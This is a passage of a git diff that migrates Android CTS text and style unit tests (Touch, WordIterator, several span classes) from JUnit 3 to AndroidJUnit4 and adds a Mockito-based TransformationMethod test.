+        assertEquals(5, mTextView.getScrollY());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                Touch.scrollTo(tv, layout, width - 10, 5);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
-        assertEquals(width - tv.getWidth(), tv.getScrollX(), 1.0f);
-        assertEquals(5, tv.getScrollY());
+        mActivityRule.runOnUiThread(() -> Touch.scrollTo(mTextView, layout, width - 10, 5));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(width - mTextView.getWidth(), mTextView.getScrollX(), 1.0f);
+        assertEquals(5, mTextView.getScrollY());
     }
 
+    @Test
     public void testOnTouchEvent() throws Throwable {
-        final TextView tv = new TextViewNoIme(mActivity);
-        tv.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
-
         // Create a string that is wider than the screen.
         DisplayMetrics metrics = mActivity.getResources().getDisplayMetrics();
         int screenWidth = metrics.widthPixels;
-        TextPaint paint = tv.getPaint();
+        TextPaint paint = mTextView.getPaint();
         String text = LONG_TEXT;
         int textWidth = Math.round(paint.measureText(text));
         while (textWidth < screenWidth) {
@@ -126,14 +123,12 @@
         assertTrue(dragAmount > 0);
         final String finalText = text;
         final SpannableString spannable = new SpannableString(finalText);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(tv);
-                tv.setSingleLine(true);
-                tv.setText(finalText);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(mTextView);
+            mTextView.setSingleLine(true);
+            mTextView.setText(finalText);
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
         long downTime = SystemClock.uptimeMillis();
         long eventTime = SystemClock.uptimeMillis();
@@ -143,49 +138,40 @@
                 MotionEvent.ACTION_MOVE, 0, 0, 0);
         final MotionEvent event3 = MotionEvent.obtain(downTime, eventTime,
                 MotionEvent.ACTION_UP, 0, 0, 0);
-        assertEquals(0, tv.getScrollX());
-        assertEquals(0, tv.getScrollY());
+        assertEquals(0, mTextView.getScrollX());
+        assertEquals(0, mTextView.getScrollY());
         mReturnFromTouchEvent = false;
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mReturnFromTouchEvent = Touch.onTouchEvent(tv, spannable, event1);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(
+                () -> mReturnFromTouchEvent = Touch.onTouchEvent(mTextView, spannable, event1));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mReturnFromTouchEvent);
         // TextView has not been scrolled.
-        assertEquals(0, tv.getScrollX());
-        assertEquals(0, tv.getScrollY());
-        assertEquals(0, Touch.getInitialScrollX(tv, spannable));
-        assertEquals(0, Touch.getInitialScrollY(tv, spannable));
+        assertEquals(0, mTextView.getScrollX());
+        assertEquals(0, mTextView.getScrollY());
+        assertEquals(0, Touch.getInitialScrollX(mTextView, spannable));
+        assertEquals(0, Touch.getInitialScrollY(mTextView, spannable));
 
         mReturnFromTouchEvent = false;
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mReturnFromTouchEvent = Touch.onTouchEvent(tv, spannable, event2);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(
+                () -> mReturnFromTouchEvent = Touch.onTouchEvent(mTextView, spannable, event2));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mReturnFromTouchEvent);
         // TextView has been scrolled.
-        assertEquals(dragAmount, tv.getScrollX());
-        assertEquals(0, tv.getScrollY());
-        assertEquals(0, Touch.getInitialScrollX(tv, spannable));
-        assertEquals(0, Touch.getInitialScrollY(tv, spannable));
+        assertEquals(dragAmount, mTextView.getScrollX());
+        assertEquals(0, mTextView.getScrollY());
+        assertEquals(0, Touch.getInitialScrollX(mTextView, spannable));
+        assertEquals(0, Touch.getInitialScrollY(mTextView, spannable));
 
         mReturnFromTouchEvent = false;
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mReturnFromTouchEvent = Touch.onTouchEvent(tv, spannable, event3);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(
+                () -> mReturnFromTouchEvent = Touch.onTouchEvent(mTextView, spannable, event3));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mReturnFromTouchEvent);
         // TextView has not been scrolled.
-        assertEquals(dragAmount, tv.getScrollX());
-        assertEquals(0, tv.getScrollY());
-        assertEquals(-1, Touch.getInitialScrollX(tv, spannable));
-        assertEquals(-1, Touch.getInitialScrollY(tv, spannable));
+        assertEquals(dragAmount, mTextView.getScrollX());
+        assertEquals(0, mTextView.getScrollY());
+        assertEquals(-1, Touch.getInitialScrollX(mTextView, spannable));
+        assertEquals(-1, Touch.getInitialScrollY(mTextView, spannable));
     }
 
     private int getTextWidth(String str, TextPaint paint) {
diff --git a/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java
new file mode 100644
index 0000000..d67fc59
--- /dev/null
+++ b/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.method.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.AdditionalAnswers.returnsFirstArg;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.anyBoolean;
+import static org.mockito.Mockito.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.method.TransformationMethod;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import android.widget.LinearLayout.LayoutParams;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that {@link TransformationMethod} interface gets called.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TransformationMethodTest {
+    private static final int EDIT_TXT_ID = 1;
+
+    private Instrumentation mInstrumentation;
+    private CtsActivity mActivity;
+    private TransformationMethod mMethod;
+    private EditText mEditText;
+    private Button mButton;
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
+
+    @Before
+    public void setup() throws Throwable {
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(1000, mActivity::hasWindowFocus);
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mMethod = mock(TransformationMethod.class);
+        when(mMethod.getTransformation(any(), any())).then(returnsFirstArg());
+
+        mActivityRule.runOnUiThread(() -> {
+            mEditText = new EditTextNoIme(mActivity);
+            mEditText.setId(EDIT_TXT_ID);
+            mEditText.setTransformationMethod(mMethod);
+            mButton = new Button(mActivity);
+            mButton.setFocusableInTouchMode(true);
+            LinearLayout layout = new LinearLayout(mActivity);
+            layout.setOrientation(LinearLayout.VERTICAL);
+            layout.addView(mEditText, new LayoutParams(LayoutParams.MATCH_PARENT,
+                    LayoutParams.WRAP_CONTENT));
+            layout.addView(mButton, new LayoutParams(LayoutParams.MATCH_PARENT,
+                    LayoutParams.WRAP_CONTENT));
+            mActivity.setContentView(layout);
+            mEditText.requestFocus();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertTrue(mEditText.isFocused());
+    }
+
+    @Test
+    public void testGetTransformation() throws Throwable {
+        reset(mMethod);
+        when(mMethod.getTransformation(any(), any())).then(returnsFirstArg());
+        mActivityRule.runOnUiThread(() -> mEditText.setText("some text"));
+        mInstrumentation.waitForIdleSync();
+        verify(mMethod, atLeastOnce()).getTransformation(any(), any());
+    }
+
+    @Test
+    public void testOnFocusChanged() throws Throwable {
+        // lose focus
+        reset(mMethod);
+        assertTrue(mEditText.isFocused());
+        mActivityRule.runOnUiThread(() -> mButton.requestFocus());
+        mInstrumentation.waitForIdleSync();
+        verify(mMethod, atLeastOnce()).onFocusChanged(any(), any(), anyBoolean(), anyInt(), any());
+
+        // gain focus
+        reset(mMethod);
+        assertFalse(mEditText.isFocused());
+        mActivityRule.runOnUiThread(() -> mEditText.requestFocus());
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mEditText.isFocused());
+        verify(mMethod, atLeastOnce()).onFocusChanged(any(), any(), anyBoolean(), anyInt(), any());
+    }
+}
diff --git a/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java b/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
index 2954087..ab524a7 100644
--- a/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
+++ b/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
@@ -16,117 +16,128 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.method.WordIterator;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.text.BreakIterator;
 
-import junit.framework.TestCase;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class WordIteratorTest {
+    private WordIterator mWordIterator = new WordIterator();
 
-public class WordIteratorTest extends TestCase {
-
-    WordIterator wi = new WordIterator();
-
-    private void checkIsWordWithSurrogate(int beginning, int end, int surrogateIndex) {
+    private void verifyIsWordWithSurrogate(int beginning, int end, int surrogateIndex) {
         for (int i = beginning; i <= end; i++) {
             if (i == surrogateIndex) continue;
-            assertEquals(beginning, wi.getBeginning(i));
-            assertEquals(end, wi.getEnd(i));
+            assertEquals(beginning, mWordIterator.getBeginning(i));
+            assertEquals(end, mWordIterator.getEnd(i));
         }
     }
 
     private void setCharSequence(String string) {
-        wi.setCharSequence(string, 0, string.length());
+        mWordIterator.setCharSequence(string, 0, string.length());
     }
 
-    private void checkIsWord(int beginning, int end) {
-        checkIsWordWithSurrogate(beginning, end, -1);
+    private void verifyIsWord(int beginning, int end) {
+        verifyIsWordWithSurrogate(beginning, end, -1);
     }
 
-    private void checkIsNotWord(int beginning, int end) {
+    private void verifyIsNotWord(int beginning, int end) {
         for (int i = beginning; i <= end; i++) {
-            assertEquals(BreakIterator.DONE, wi.getBeginning(i));
-            assertEquals(BreakIterator.DONE, wi.getEnd(i));
+            assertEquals(BreakIterator.DONE, mWordIterator.getBeginning(i));
+            assertEquals(BreakIterator.DONE, mWordIterator.getEnd(i));
         }
     }
 
+    @Test
     public void testEmptyString() {
         setCharSequence("");
-        assertEquals(BreakIterator.DONE, wi.following(0));
-        assertEquals(BreakIterator.DONE, wi.preceding(0));
+        assertEquals(BreakIterator.DONE, mWordIterator.following(0));
+        assertEquals(BreakIterator.DONE, mWordIterator.preceding(0));
 
-        assertEquals(BreakIterator.DONE, wi.getBeginning(0));
-        assertEquals(BreakIterator.DONE, wi.getEnd(0));
+        assertEquals(BreakIterator.DONE, mWordIterator.getBeginning(0));
+        assertEquals(BreakIterator.DONE, mWordIterator.getEnd(0));
     }
 
+    @Test
     public void testOneWord() {
         setCharSequence("I");
-        checkIsWord(0, 1);
+        verifyIsWord(0, 1);
 
         setCharSequence("am");
-        checkIsWord(0, 2);
+        verifyIsWord(0, 2);
 
         setCharSequence("zen");
-        checkIsWord(0, 3);
+        verifyIsWord(0, 3);
     }
 
+    @Test
     public void testSpacesOnly() {
         setCharSequence(" ");
-        checkIsNotWord(0, 1);
+        verifyIsNotWord(0, 1);
 
         setCharSequence(", ");
-        checkIsNotWord(0, 2);
+        verifyIsNotWord(0, 2);
 
         setCharSequence(":-)");
-        checkIsNotWord(0, 3);
+        verifyIsNotWord(0, 3);
     }
 
+    @Test
     public void testBeginningEnd() {
         setCharSequence("Well hello,   there! ");
         //                  0123456789012345678901
-        checkIsWord(0, 4);
-        checkIsWord(5, 10);
-        checkIsNotWord(11, 13);
-        checkIsWord(14, 19);
-        checkIsNotWord(20, 21);
+        verifyIsWord(0, 4);
+        verifyIsWord(5, 10);
+        verifyIsNotWord(11, 13);
+        verifyIsWord(14, 19);
+        verifyIsNotWord(20, 21);
 
         setCharSequence("  Another - sentence");
         //                  012345678901234567890
-        checkIsNotWord(0, 1);
-        checkIsWord(2, 9);
-        checkIsNotWord(10, 11);
-        checkIsWord(12, 20);
+        verifyIsNotWord(0, 1);
+        verifyIsWord(2, 9);
+        verifyIsNotWord(10, 11);
+        verifyIsWord(12, 20);
 
         setCharSequence("This is \u0644\u0627 tested"); // Lama-aleph
         //                  012345678     9     01234567
-        checkIsWord(0, 4);
-        checkIsWord(5, 7);
-        checkIsWord(8, 10);
-        checkIsWord(11, 17);
+        verifyIsWord(0, 4);
+        verifyIsWord(5, 7);
+        verifyIsWord(8, 10);
+        verifyIsWord(11, 17);
     }
 
+    @Test
     public void testSurrogate() {
         final String BAIRKAN = "\uD800\uDF31";
 
         setCharSequence("one we" + BAIRKAN + "ird word");
         //                  012345    67         890123456
 
-        checkIsWord(0, 3);
+        verifyIsWord(0, 3);
         // Skip index 7 (there is no point in starting between the two surrogate characters)
-        checkIsWordWithSurrogate(4, 11, 7);
-        checkIsWord(12, 16);
+        verifyIsWordWithSurrogate(4, 11, 7);
+        verifyIsWord(12, 16);
 
         setCharSequence("one " + BAIRKAN + "xxx word");
         //                  0123    45         678901234
 
-        checkIsWord(0, 3);
-        checkIsWordWithSurrogate(4, 9, 5);
-        checkIsWord(10, 14);
+        verifyIsWord(0, 3);
+        verifyIsWordWithSurrogate(4, 9, 5);
+        verifyIsWord(10, 14);
 
         setCharSequence("one xxx" + BAIRKAN + " word");
         //                  0123456    78         901234
 
-        checkIsWord(0, 3);
-        checkIsWordWithSurrogate(4, 9, 8);
-        checkIsWord(10, 14);
+        verifyIsWord(0, 3);
+        verifyIsWordWithSurrogate(4, 9, 8);
+        verifyIsWord(10, 14);
     }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java b/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
index e825bd1..ac04619 100644
--- a/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
@@ -16,14 +16,22 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.AbsoluteSizeSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class AbsoluteSizeSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AbsoluteSizeSpanTest {
+    @Test
     public void testConstructor() {
         new AbsoluteSizeSpan(0);
         new AbsoluteSizeSpan(-5);
@@ -39,6 +47,7 @@
         }
     }
 
+    @Test
     public void testGetSize() {
         AbsoluteSizeSpan absoluteSizeSpan = new AbsoluteSizeSpan(5);
         assertEquals(5, absoluteSizeSpan.getSize());
@@ -47,64 +56,73 @@
         assertEquals(-5, absoluteSizeSpan.getSize());
     }
 
+    @Test
     public void testGetDip() {
         AbsoluteSizeSpan absoluteSizeSpan = new AbsoluteSizeSpan(5);
         assertEquals(false, absoluteSizeSpan.getDip());
 
         absoluteSizeSpan = new AbsoluteSizeSpan(5, true);
-        assertEquals(true, absoluteSizeSpan.getDip());
+        assertTrue(absoluteSizeSpan.getDip());
     }
 
+    @Test
     public void testUpdateMeasureState() {
         AbsoluteSizeSpan absoluteSizeSpan = new AbsoluteSizeSpan(1);
 
         TextPaint tp = new TextPaint();
         absoluteSizeSpan.updateMeasureState(tp);
-        assertEquals(1.0f, tp.getTextSize());
+        assertEquals(1.0f, tp.getTextSize(), 0.0f);
 
         absoluteSizeSpan = new AbsoluteSizeSpan(10);
         absoluteSizeSpan.updateMeasureState(tp);
-        assertEquals(10.0f, tp.getTextSize());
-
-        try {
-            absoluteSizeSpan.updateMeasureState(null);
-            fail("should throw NullPointerException when TextPaint is null.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        assertEquals(10.0f, tp.getTextSize(), 0.0f);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateMeasureStateNull() {
+        // Should throw NullPointerException when TextPaint is null
+        AbsoluteSizeSpan absoluteSizeSpan = new AbsoluteSizeSpan(1);
+
+        absoluteSizeSpan.updateMeasureState(null);
+    }
+
+    @Test
     public void testUpdateDrawState() {
         // new the AbsoluteSizeSpan instance
         AbsoluteSizeSpan absoluteSizeSpan = new AbsoluteSizeSpan(2);
 
         TextPaint tp = new TextPaint();
         absoluteSizeSpan.updateDrawState(tp);
-        assertEquals(2.0f, tp.getTextSize());
+        assertEquals(2.0f, tp.getTextSize(), 0.0f);
 
         // new the AbsoluteSizeSpan instance
         absoluteSizeSpan = new AbsoluteSizeSpan(20);
         absoluteSizeSpan.updateDrawState(tp);
-        assertEquals(20.0f, tp.getTextSize());
-
-        try {
-            absoluteSizeSpan.updateDrawState(null);
-            fail("should throw NullPointerException when TextPaint is null.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        assertEquals(20.0f, tp.getTextSize(), 0.0f);
     }
 
+
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        // Should throw NullPointerException when TextPaint is null
+        AbsoluteSizeSpan absoluteSizeSpan = new AbsoluteSizeSpan(2);
+
+        absoluteSizeSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         AbsoluteSizeSpan absoluteSizeSpan = new AbsoluteSizeSpan(2);
         absoluteSizeSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         AbsoluteSizeSpan absoluteSizeSpan = new AbsoluteSizeSpan(2);
         absoluteSizeSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
index 26ed21e..78bcd6a 100644
--- a/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
@@ -16,17 +16,24 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout.Alignment;
 import android.text.style.AlignmentSpan.Standard;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link Standard}.
  */
-public class AlignmentSpan_StandardTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AlignmentSpan_StandardTest {
+    @Test
     public void testConstructor() {
         new Standard(Alignment.ALIGN_CENTER);
 
@@ -41,6 +48,7 @@
         }
     }
 
+    @Test
     public void testGetAlignment() {
         Standard standard = new Standard(Alignment.ALIGN_NORMAL);
         assertEquals(Alignment.ALIGN_NORMAL, standard.getAlignment());
@@ -52,16 +60,19 @@
         assertEquals(Alignment.ALIGN_CENTER, standard.getAlignment());
     }
 
+    @Test
     public void testDescribeContents() {
         Standard standard = new Standard(Alignment.ALIGN_NORMAL);
         standard.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         Standard standard = new Standard(Alignment.ALIGN_NORMAL);
         standard.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java b/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
index 690da5d..2724dfe 100644
--- a/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
@@ -16,15 +16,22 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Color;
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.BackgroundColorSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class BackgroundColorSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BackgroundColorSpanTest {
+    @Test
     public void testConstructor() {
         BackgroundColorSpan b = new BackgroundColorSpan(Color.GREEN);
 
@@ -38,6 +45,7 @@
         }
     }
 
+    @Test
     public void testUpdateDrawState() {
         BackgroundColorSpan backgroundColorSpan = new BackgroundColorSpan(Color.BLACK);
 
@@ -48,15 +56,16 @@
         backgroundColorSpan = new BackgroundColorSpan(Color.BLUE);
         backgroundColorSpan.updateDrawState(tp);
         assertEquals(Color.BLUE, tp.bgColor);
-
-        try {
-            backgroundColorSpan.updateDrawState(null);
-            fail("did not throw NullPointerException when TextPaint is null.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        BackgroundColorSpan backgroundColorSpan = new BackgroundColorSpan(Color.BLACK);
+
+        backgroundColorSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testGetBackgroundColor() {
         BackgroundColorSpan backgroundColorSpan = new BackgroundColorSpan(Color.CYAN);
         assertEquals(Color.CYAN, backgroundColorSpan.getBackgroundColor());
@@ -65,16 +74,19 @@
         assertEquals(Color.GRAY, backgroundColorSpan.getBackgroundColor());
     }
 
+    @Test
     public void testDescribeContents() {
         BackgroundColorSpan backgroundColorSpan = new BackgroundColorSpan(Color.RED);
         backgroundColorSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         BackgroundColorSpan backgroundColorSpan = new BackgroundColorSpan(Color.RED);
         backgroundColorSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java b/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
index 18add4e..4d1985b 100644
--- a/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
@@ -16,18 +16,25 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Spanned;
 import android.text.style.BulletSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class BulletSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BulletSpanTest {
+    @Test
     public void testConstructor() {
         new BulletSpan();
         new BulletSpan(BulletSpan.STANDARD_GAP_WIDTH);
@@ -43,6 +50,7 @@
         }
     }
 
+    @Test
     public void testGetLeadingMargin() {
         BulletSpan bulletSpan = new BulletSpan(1);
         int leadingMargin1 = bulletSpan.getLeadingMargin(true);
@@ -53,6 +61,7 @@
         assertTrue(leadingMargin2 > leadingMargin1);
     }
 
+    @Test
     public void testDrawLeadingMargin() {
         BulletSpan bulletSpan = new BulletSpan(10, 20);
 
@@ -63,36 +72,36 @@
         bulletSpan.drawLeadingMargin(canvas, paint, 10, 0, 10, 0, 20, text, 0, 0, true, null);
     }
 
-    public void testDrawLeadingMarginFailure() {
-        // new the BulletSpan instance
+    @Test(expected=ClassCastException.class)
+    public void testDrawLeadingMarginString() {
         BulletSpan bulletSpan = new BulletSpan(10, 20);
 
-        try {
-            String text = "cts test.";
-            bulletSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0, text, 0, 0, true, null);
-            fail("did not throw ClassCastException when use a String as text");
-        } catch (ClassCastException e) {
-            // expected, test success.
-        }
-
-        try {
-            bulletSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0, null, 0, 0, false, null);
-            fail("did not throw NullPointerException when text is null");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+        String text = "cts test.";
+        // Should throw ClassCastException when use a String as text
+        bulletSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0, text, 0, 0, true, null);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testDrawLeadingMarginNull() {
+        BulletSpan bulletSpan = new BulletSpan(10, 20);
+
+        // Should throw NullPointerException when text is null
+        bulletSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0, null, 0, 0, false, null);
+    }
+
+    @Test
     public void testDescribeContents() {
         BulletSpan bulletSpan = new BulletSpan();
         bulletSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         BulletSpan bulletSpan = new BulletSpan();
         bulletSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         int leadingMargin1 = 0;
         int leadingMargin2 = 0;
diff --git a/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java b/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
index 49a811f..791f362 100644
--- a/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
+++ b/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
@@ -16,15 +16,25 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.CharacterStyle;
 import android.text.style.MetricAffectingSpan;
 import android.text.style.SuperscriptSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class CharacterStyleTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CharacterStyleTest {
+    @Test
     public void testWrap() {
         // use a MetricAffectingSpan
         MetricAffectingSpan metricAffectingSpan = new SuperscriptSpan();
@@ -51,6 +61,7 @@
         assertTrue(result instanceof CharacterStyle);
     }
 
+    @Test
     public void testGetUnderlying() {
         CharacterStyle expected = new MyCharacterStyle();
         assertSame(expected, expected.getUnderlying());
@@ -62,13 +73,9 @@
         assertSame(metricAffectingSpan, result.getUnderlying());
     }
 
-    /**
-     * MyCharacterStyle for test.
-     */
     private class MyCharacterStyle extends CharacterStyle {
         @Override
         public void updateDrawState(TextPaint tp) {
-            // implement abstract method.
         }
     }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java b/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
index 3ef6562..a00a28d 100644
--- a/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
@@ -16,15 +16,24 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Color;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.ClickableSpan;
 import android.view.View;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class ClickableSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ClickableSpanTest {
+    @Test
     public void testUpdateDrawState() {
         ClickableSpan clickableSpan = new MyClickableSpan();
 
@@ -41,22 +50,19 @@
         clickableSpan.updateDrawState(tp);
         assertEquals(Color.BLUE, tp.getColor());
         assertTrue(tp.isUnderlineText());
-
-        try {
-            clickableSpan.updateDrawState(null);
-            fail("should throw NullPointerException when TextPaint is null.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
-    /**
-     * MyClickableSpan for test.
-     */
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        ClickableSpan clickableSpan = new MyClickableSpan();
+
+        // Should throw NullPointerException when TextPaint is null
+        clickableSpan.updateDrawState(null);
+    }
+
     private class MyClickableSpan extends ClickableSpan {
         @Override
         public void onClick(View widget) {
-            // implement abstract method.
         }
     }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java b/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
index 775f035..4ccf3bd 100644
--- a/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
@@ -16,53 +16,72 @@
 
 package android.text.style.cts;
 
-import android.text.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
-
+import android.content.Context;
 import android.graphics.Canvas;
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.drawable.Drawable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Layout;
